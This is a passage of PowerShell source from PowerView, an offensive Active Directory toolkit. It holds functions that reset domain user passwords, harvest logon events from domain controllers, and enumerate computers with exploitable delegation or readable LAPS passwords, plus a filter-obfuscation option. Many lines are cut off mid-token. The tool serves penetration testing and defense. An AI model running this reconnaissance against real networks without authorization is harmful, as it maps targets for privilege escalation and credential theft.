$User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.
if ($User) {
Write-Verbose "[Set-DomainUserPassword] Attempting to set the password for user '$Identity'"
try {
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPass
$User.SetPassword($TempCred.GetNetworkCredential().Password)
$Null = $User.Save()
Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset"
}
catch {
Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_"
}
}
else {
Write-Warning "[Set-DomainUserPassword] Unable to find user '$Identity'"
}
}
}
function Get-DomainUserEvent {
<#
.SYNOPSIS
Enumerate account logon events (ID 4624) and Logon with explicit credential
events (ID 4648) from the specified host (default of the localhost).
Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This function uses an XML path filter passed to Get-WinEvent to retrieve
security events with IDs of 4624 (logon events) or 4648 (explicit credential
logon events) from -StartTime (default of now-1 day) to -EndTime (default of now).
A maximum of -MaxEvents (default of 5000) are returned.
.PARAMETER ComputerName
Specifies the computer name to retrieve events from, default of localhost.
.PARAMETER StartTime
The [DateTime] object representing the start of when to collect events.
Default of [DateTime]::Now.AddDays(-1).
.PARAMETER EndTime
The [DateTime] object representing the end of when to collect events.
Default of [DateTime]::Now.
.PARAMETER MaxEvents
The maximum number of events to retrieve. Default of 5000.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target computer.
.EXAMPLE
Get-DomainUserEvent
Return logon events on the local machine.
.EXAMPLE
Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3))
Return all logon events from the last 3 days from every domain controller in the current domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000
Return a max of 1000 logon events from the specified machine using the specified alternate credentials
.OUTPUTS
PowerView.LogonEvent
PowerView.ExplicitCredentialLogonEvent
.LINK
http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LogonEvent')]
[OutputType('PowerView.ExplicitCredentialLogonEvent')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('dnshostname', 'HostName', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME,
[ValidateNotNullOrEmpty()]
[DateTime]
$StartTime = [DateTime]::Now.AddDays(-1),
[ValidateNotNullOrEmpty()]
[DateTime]
$EndTime = [DateTime]::Now,
[ValidateRange(1, 1000000)]
[Int]
$MaxEvents = 5000,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
# the XML filter we're passing to Get-WinEvent
$XPathFilter = @"
<QueryList>
<Query Id="0" Path="Security">
<!-- Logon events -->
<Select Path="Security">
*[
System[
Provider[
@Name='Microsoft-Windows-Security-Auditing'
]
and (Level=4 or Level=0) and (EventID=4624)
and TimeCreated[
@SystemTime&gt;='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime&
]
]
]
and
*[EventData[Data[@Name='TargetUserName'] != 'ANONYMOUS LOGON']]
</Select>
<!-- Logon with explicit credential events -->
<Select Path="Security">
*[
System[
Provider[
@Name='Microsoft-Windows-Security-Auditing'
]
and (Level=4 or Level=0) and (EventID=4648)
and TimeCreated[
@SystemTime&gt;='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime&
]
]
]
</Select>
<Suppress Path="Security">
*[
System[
Provider[
@Name='Microsoft-Windows-Security-Auditing'
]
and
(Level=4 or Level=0) and (EventID=4624 or EventID=4625 or EventID=4634)
]
]
and
*[
EventData[
(
(Data[@Name='LogonType']='5' or Data[@Name='LogonType']='0')
or
Data[@Name='TargetUserName']='ANONYMOUS LOGON'
or
Data[@Name='TargetUserSID']='S-1-5-18'
)
]
]
</Suppress>
</Query>
</QueryList>
"@
$EventArguments = @{
'FilterXPath' = $XPathFilter
'LogName' = 'Security'
'MaxEvents' = $MaxEvents
}
if ($PSBoundParameters['Credential']) { $EventArguments['Credential'] = $Credential }
}
PROCESS {
ForEach ($Computer in $ComputerName) {
$EventArguments['ComputerName'] = $Computer
Get-WinEvent @EventArguments| ForEach-Object {
$Event = $_
$Properties = $Event.Properties
Switch ($Event.Id) {
# logon event
4624 {
# skip computer logons, for now...
if(-not $Properties[5].Value.EndsWith('$')) {
$Output = New-Object PSObject -Property @{
ComputerName = $Computer
TimeCreated = $Event.TimeCreated
EventId = $Event.Id
SubjectUserSid = $Properties[0].Value.ToString()
SubjectUserName = $Properties[1].Value
SubjectDomainName = $Properties[2].Value
SubjectLogonId = $Properties[3].Value
TargetUserSid = $Properties[4].Value.ToString()
TargetUserName = $Properties[5].Value
TargetDomainName = $Properties[6].Value
TargetLogonId = $Properties[7].Value
LogonType = $Properties[8].Value
LogonProcessName = $Properties[9].Value
AuthenticationPackageName = $Properties[10].Value
WorkstationName = $Properties[11].Value
LogonGuid = $Properties[12].Value
TransmittedServices = $Properties[13].Value
LmPackageName = $Properties[14].Value
KeyLength = $Properties[15].Value
ProcessId = $Properties[16].Value
ProcessName = $Properties[17].Value
IpAddress = $Properties[18].Value
IpPort = $Properties[19].Value
ImpersonationLevel = $Properties[20].Value
RestrictedAdminMode = $Properties[21].Value
TargetOutboundUserName = $Properties[22].Value
TargetOutboundDomainName = $Properties[23].Value
VirtualAccount = $Properties[24].Value
TargetLinkedLogonId = $Properties[25].Value
ElevatedToken = $Properties[26].Value
}
$Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonEvent')
$Output
}
}
# logon with explicit credential
4648 {
# skip computer logons, for now...
if((-not $Properties[5].Value.EndsWith('$')) -and ($Properties[11].Value -match 'taskhost\
$Output = New-Object PSObject -Property @{
ComputerName = $Computer
TimeCreated = $Event.TimeCreated
EventId = $Event.Id
SubjectUserSid = $Properties[0].Value.ToString()
SubjectUserName = $Properties[1].Value
SubjectDomainName = $Properties[2].Value
SubjectLogonId = $Properties[3].Value
LogonGuid = $Properties[4].Value.ToString()
TargetUserName = $Properties[5].Value
TargetDomainName = $Properties[6].Value
TargetLogonGuid = $Properties[7].Value
TargetServerName = $Properties[8].Value
TargetInfo = $Properties[9].Value
ProcessId = $Properties[10].Value
ProcessName = $Properties[11].Value
IpAddress = $Properties[12].Value
IpPort = $Properties[13].Value
}
$Output.PSObject.TypeNames.Insert(0, 'PowerView.ExplicitCredentialLogonEvent')
$Output
}
}
default {
Write-Warning "No handler exists for event ID: $($Event.Id)"
}
}
}
}
}
}
function Get-DomainGUIDMap {
<#
.SYNOPSIS
Helper to build a hash table of [GUID] -> resolved names for the current or specified Domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-Forest
.DESCRIPTION
Searches the forest schema location (CN=Schema,CN=Configuration,DC=testlab,DC=local) for
all objects with schemaIDGUID set and translates the GUIDs discovered to human-readable names.
Then searches the extended rights location (CN=Extended-Rights,CN=Configuration,DC=testlab,DC=lo
for objects where objectClass=controlAccessRight, translating the GUIDs again.
Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER SSL
Switch. Use SSL for the connection to the LDAP server.
.PARAMETER Obfuscate
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
.OUTPUTS
Hashtable
Ouputs a hashtable containing a GUID -> Readable Name mapping.
.LINK
http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-fre
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([Hashtable])]
[CmdletBinding()]
Param (
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$SSL,
[Switch]
$Obfuscate
)
$GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'}
$ForestArguments = @{}
if ($PSBoundParameters['Credential']) { $ForestArguments['Credential'] = $Credential }
$DomainDNArguments = @{}
if ($PSBoundParameters['Domain']) { $DomainDNArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $DomainDNArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DomainDNArguments['Credential'] = $Credential }
if ($PSBoundParameters['SSL']) { $DomainDNArguments['SSL'] = $SSL }
try {
$SchemaPath = (Get-Forest @ForestArguments).schema.name
}
catch {
$DomainDN = Get-DomainDN @DomainDNArguments
if ($DomainDN) {
$SchemaPath = "CN=Schema,CN=Configuration,$($DomainDN)"
}
}
if (-not $SchemaPath) {
throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest'
}
$SearcherArguments = @{
'SearchBase' = $SchemaPath
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPage
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTim
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
$LDAPFilter = '(schemaIDGUID=*)'
try {
$Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$LDAPFilter"
$Results | Where-Object {$_} | ForEach-Object {
if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {
$Prop = @{}
foreach ($a in $_.Attributes.Keys | Sort-Object) {
if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertific
$Prop[$a] = $_.Attributes[$a]
}
else {
$Values = @()
foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {
$Values += [System.Text.Encoding]::UTF8.GetString($v)
}
$Prop[$a] = $Values
}
}
}
else {
$Prop = $_.Properties
}
$GUIDs[(New-Object Guid (,$Prop.schemaidguid[0])).Guid] = $Prop.name[0]
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_"
}
}
}
catch {
Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_"
}
$SearcherArguments['SearchBase'] = $SchemaPath.replace('Schema','Extended-Rights')
$LDAPFilter = '(objectClass=controlAccessRight)'
try {
$Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$LDAPFilter"
$Results | Where-Object {$_} | ForEach-Object {
if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {
$Prop = @{}
foreach ($a in $_.Attributes.Keys | Sort-Object) {
if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertific
$Prop[$a] = $_.Attributes[$a]
}
else {
$Values = @()
foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {
$Values += [System.Text.Encoding]::UTF8.GetString($v)
}
$Prop[$a] = $Values
}
}
}
else {
$Prop = $_.Properties
}
$GUIDs[$Prop.rightsguid[0].toString()] = $Prop.name[0]
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_"
}
}
}
catch {
Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_"
}
$GUIDs
}
function Get-DomainComputer {
<#
.SYNOPSIS
Return all computers or specific computer objects in AD.
Author: Will Schroeder (@harmj0y), Alexander Sturz (@_61106960_)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all computer objects for
the current domain are returned.
.PARAMETER Identity
A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computer
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-
or a dns host name (e.g. windows10.testlab.local). Wildcards accepted.
.PARAMETER UACFilter
Dynamic parameter that accepts one or more values from $UACEnum, including
"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
.PARAMETER Unconstrained
Switch. Return computer objects that have unconstrained delegation.
.PARAMETER TrustedToAuth
Switch. Return computer objects that are trusted to authenticate for other principals.
.PARAMETER RBCD
Switch. Return computer objects that are configured to allow resource-based constrained delegation.
.PARAMETER Printers
Switch. Return only printers.
.PARAMETER ExcludeDCs
Switch. Do not return domain controllers.
.PARAMETER SPN
Return computers with a specific service principal name, wildcards accepted.
.PARAMETER OperatingSystem
Return computers with a specific operating system, wildcards accepted.
.PARAMETER ServicePack
Return computers with a specific service pack, wildcards accepted.
.PARAMETER SiteName
Return computers in the specific AD Site name, wildcards accepted.
.PARAMETER Ping
Switch. Ping each host to ensure it's up before enumerating.
.PARAMETER LastLogon
Return computers that have logged on within a number of days.
.PARAMETER HasLAPS
Switch. Return computers with LAPS enabled.
.PARAMETER NoLAPS
Switch. Return computers without LAPS enabled.
.PARAMETER CanReadLAPS
Switch. Return computers where the LAPS password is readable.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.PARAMETER SSL
Switch. Use SSL for the connection to the LDAP server.
.PARAMETER Obfuscate
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
.PARAMETER Certificate
Certificate to authenticate to LDAP with.
.PARAMETER CertPassword
Password for certificate being used to authentication to LDAP with.
.EXAMPLE
Get-DomainComputer
Returns the current computers in current domain.
.EXAMPLE
Get-DomainComputer -SPN mssql* -Domain testlab.local
Returns all MS SQL servers in the testlab.local domain.
.EXAMPLE
Get-DomainComputer -UACFilter TRUSTED_FOR_DELEGATION,SERVER_TRUST_ACCOUNT -Prop
Return the dns hostnames of servers trusted for delegation.
.EXAMPLE
Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained
Search the specified OU for computeres that allow unconstrained delegation.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainComputer -Credential $Cred
.OUTPUTS
PowerView.Computer
Custom PSObject with translated computer property fields.
PowerView.Computer.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[OutputType('PowerView.Computer')]
[OutputType('PowerView.Computer.Raw')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('SamAccountName', 'Name', 'DNSHostName')]
[String[]]
$Identity,
[Switch]
$Unconstrained,
[Switch]
$TrustedToAuth,
[Switch]
$RBCD,
[Switch]
$Printers,
[Switch]
$ExcludeDCs,
[ValidateNotNullOrEmpty()]
[Alias('ServicePrincipalName')]
[String]
$SPN,
[ValidateNotNullOrEmpty()]
[String]
$OperatingSystem,
[ValidateNotNullOrEmpty()]
[String]
$ServicePack,
[ValidateNotNullOrEmpty()]
[String]
$SiteName,
[Switch]
$Ping,
[ValidateRange(1, 10000)]
[Int]
$LastLogon,
[Switch]
$HasLAPS,
[Switch]
$NoLAPS,
[Switch]
$CanReadLAPS,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw,
[Switch]
$SSL,
[Switch]
$Obfuscate,
[String]
$Certificate,
[String]
$CertPassword
)
DynamicParam {
$UACValueNames = [Enum]::GetNames($UACEnum)
# add in the negations
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
# create new dynamic parameter
New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
}
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMa
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }
if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne }
if ($PSBoundParameters['Certificate']) {$SearcherArguments['Certificate'] = $Certificate }
if ($PSBoundParameters['CertPassword']) {$SearcherArguments['CertPassword'] = $CertPasswor
$DNSearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $DNSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $DNSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SSL']) { $DNSearcherArguments['SSL'] = $SSL }
if ($PSBoundParameters['Obfuscate']) {$DNSearcherArguments['Obfuscate'] = $Obfuscate }
}
PROCESS {
#bind dynamic parameter to a friendly variable
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
}
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace '
Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityI
$SearcherArguments['Domain'] = $IdentityDomain
$CompSearcher = Get-DomainSearcher @SearcherArguments
if (-not $CompSearcher) {
Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$Identity
}
}
}
elseif ($IdentityInstance.Contains('.')) {
$IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToStrin
$IdentityFilter += "(objectguid=$GuidByteString)"
}
else {
$IdentityFilter += "(name=$IdentityInstance)"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['Unconstrained']) {
Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegati
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
}
if ($PSBoundParameters['TrustedToAuth']) {
Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate
$Filter += '(msds-allowedtodelegateto=*)'
}
if ($PSBoundParameters['RBCD']) {
Write-Verbose '[Get-DomainComputer] Searching for computers that are configured to allow res
$Filter += '(msds-allowedtoactonbehalfofotheridentity=*)'
}
if ($PSBoundParameters['Printers']) {
Write-Verbose '[Get-DomainComputer] Searching for printers'
$Filter += '(objectCategory=printQueue)'
}
if ($PSBoundParameters['ExcludeDCs']) {
Write-Verbose '[Get-DomainComputer] Excluding domain controllers'
$Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=8192))'
}
if ($PSBoundParameters['SPN']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN"
$Filter += "(servicePrincipalName=$SPN)"
}
if ($PSBoundParameters['OperatingSystem']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $Opera
$Filter += "(operatingsystem=$OperatingSystem)"
}
if ($PSBoundParameters['ServicePack']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePac
$Filter += "(operatingsystemservicepack=$ServicePack)"
}
if ($PSBoundParameters['SiteName']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName"
$Filter += "(serverreferencebl=$SiteName)"
}
if ($PSBoundParameters['LastLogon']) {
Write-Verbose "[Get-DomainComputer] Searching for computer accounts that have logged on w
$LogonDate = (Get-Date).AddDays(-$PSBoundParameters['LastLogon']).ToFileTime()
$Filter += "(lastlogon>=$LogonDate)"
}
if (($PSBoundParameters['HasLAPS']) -or ($PSBoundParameters['NoLAPS']) -or ($PSBoundParam
$SchemaDN = "CN=Schema,CN=Configuration,$(Get-DomainDN @DNSearcherArguments)"
$AttrFilter = ''
Write-Verbose "[Get-DomainComputer] Using distinguished name: $SchemaDN"
if ($PSBoundParameters['HasLAPS']) {
# Searching for attribute name, which can differ as per pingcastle by @vletoux
# https://github.com/vletoux/pingcastle/blob/master/Scanners/LAPSBitLocker.cs
Get-DomainObject -SearchBase $SchemaDN -LDAPFilter "(|(name=ms-*-admpwd*)(name=m
Write-Verbose "[Get-DomainComputer] Searching for attribute: $_"
$AttrFilter += "($_=*)"
}
if ($AttrFilter) { $Filter += "(|$AttrFilter)" } else {
# If LAPS is not installed at all, set the default property
$Filter += "(|(ms-Mcs-AdmPwdExpirationTime=*)(msLAPS-PasswordExpirationTime))"
}
}
if ($PSBoundParameters['NoLAPS']) {
# Searching for attribute name, which can differ as per pingcastle by @vletoux
# https://github.com/vletoux/pingcastle/blob/master/Scanners/LAPSBitLocker.cs
Get-DomainObject -SearchBase $SchemaDN -LDAPFilter "(|(name=ms-*-admpwd*)(name=m
Write-Verbose "[Get-DomainComputer] Searching for attribute: $_"
$AttrFilter += "(!($_=*))"
}
if ($AttrFilter) { $Filter += "(&$AttrFilter)" }
}
if ($PSBoundParameters['CanReadLAPS']) {
# Searching for attribute name, which can differ as per pingcastle by @vletoux
# https://github.com/vletoux/pingcastle/blob/master/Scanners/LAPSBitLocker.cs
Get-DomainObject -SearchBase $SchemaDN -LDAPFilter "(|(name=ms-*-admpwd)(name=m
Write-Verbose "[Get-DomainComputer] Searching for attribute: $_"
$AttrFilter += "($_=*)"
}
if ($AttrFilter) { $Filter += "(|$AttrFilter)" }
}
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
# build the LDAP filter for the dynamic UAC filter value
$UACFilter | Where-Object {$_} | ForEach-Object {
if ($_ -match 'NOT_.*') {
$UACField = $_.Substring(4)
$UACValue = [Int]($UACEnum::$UACField)
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
}
else {
$UACValue = [Int]($UACEnum::$_)
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
}
}
$Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "(&(samAccountType=8053063
$Results | Where-Object {$_} | ForEach-Object {
if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {
$Prop = Convert-LdapConnectionAttributes -Attributes $_.Attributes
}
else {
$Prop = $_.Properties
}
$Up = $True
if ($PSBoundParameters['Ping']) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $Prop.dnshostname
}
if ($Up) {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$Computer = $_
$Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw')
}
else {
$Computer = Convert-LDAPProperty -Properties $Prop
$Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer')
}
$Computer
}
}
if ($Results -and -not $PSBoundParameters['SSL'] -and -not $PSBoundParameters['Certificate']) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_"
}
}
}
}
function Get-DomainObject {
<#
.SYNOPSIS
Return all (or specified) domain objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all objects for
the current domain are returned.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a
Wildcards accepted.
.PARAMETER UACFilter
Dynamic parameter that accepts one or more values from $UACEnum, including
"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.PARAMETER SSL
Switch. Use SSL for the connection to the LDAP server.
.PARAMETER Obfuscate
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
.PARAMETER Certificate
Certificate to authenticate to LDAP with.
.PARAMETER CertPassword
Password for certificate being used to authentication to LDAP with.
.EXAMPLE
Get-DomainObject -Domain testlab.local
Return all objects for the testlab.local domain
.EXAMPLE
'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9
